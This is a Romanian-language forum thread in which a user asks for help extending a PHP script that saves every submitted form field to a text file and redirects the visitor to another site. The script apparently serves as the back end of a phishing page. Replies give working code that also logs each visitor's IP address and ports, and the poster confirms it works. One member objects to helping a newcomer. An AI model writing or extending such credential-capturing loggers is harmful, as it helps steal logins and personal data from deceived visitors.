samko1 Posted January 29, 2011 Report Posted January 29, 2011 Cum pot salva ip-ul si portul unui vizitator al "site-ului" meu odata cu datele acestuia intr-un fisier txt.Cu restul datelor stiu cum se face.Dar as vrea sa am incluse si ip,port.Nu vreau sa fie trimise pe mail.Am cautat pe forum dar am gasit doar sa m-i le trimita pe mail.Asa arata scriptul:<?phpheader ('Location: http://www.site.com');$handle = fopen("logs.txt", "a");foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n");}fwrite($handle, "===============\r\n");fclose($handle);exit;?>Ce trebuie adaugat pt a-mi salva ce am precizat mai sus?Multumesc anticipat si imi cer scuze daca nu am postat la categoria potrivita. Quote
totti93 Posted January 29, 2011 Report Posted January 29, 2011 $_SERVER["REMOTE_ADDR"] => iti da IP-ul clientuluifwrite($handle, $_SERVER["REMOTE_ADDR"]); Quote
luke999 Posted January 29, 2011 Report Posted January 29, 2011 are 1 post nu trebuia sa ii rezolvi... Quote
totti93 Posted January 29, 2011 Report Posted January 29, 2011 Nici nu m-am uitat cate posturi are... Si oricum daca pot sa ajut, ajut 1 Quote
crs12decoder Posted January 29, 2011 Report Posted January 29, 2011 <?php$ip = $_SERVER["REMOTE_ADDR"];$sport = $_SERVER["SERVER_PORT"];$rport = $_SERVER["REMOTE_PORT"];$fh = "list.txt";$fg = fopen($fh, 'a');fwrite($fg, "$ip : $rport : $sport\r\n");fclose($fg);?>Daca mai ai nevoie si de alte date tot ce trebuie sa faci este un<?phpprint_r($_SERVER);?> Quote
samko1 Posted January 29, 2011 Author Report Posted January 29, 2011 Ms mult de tot crs12decoder.Merge!!! Quote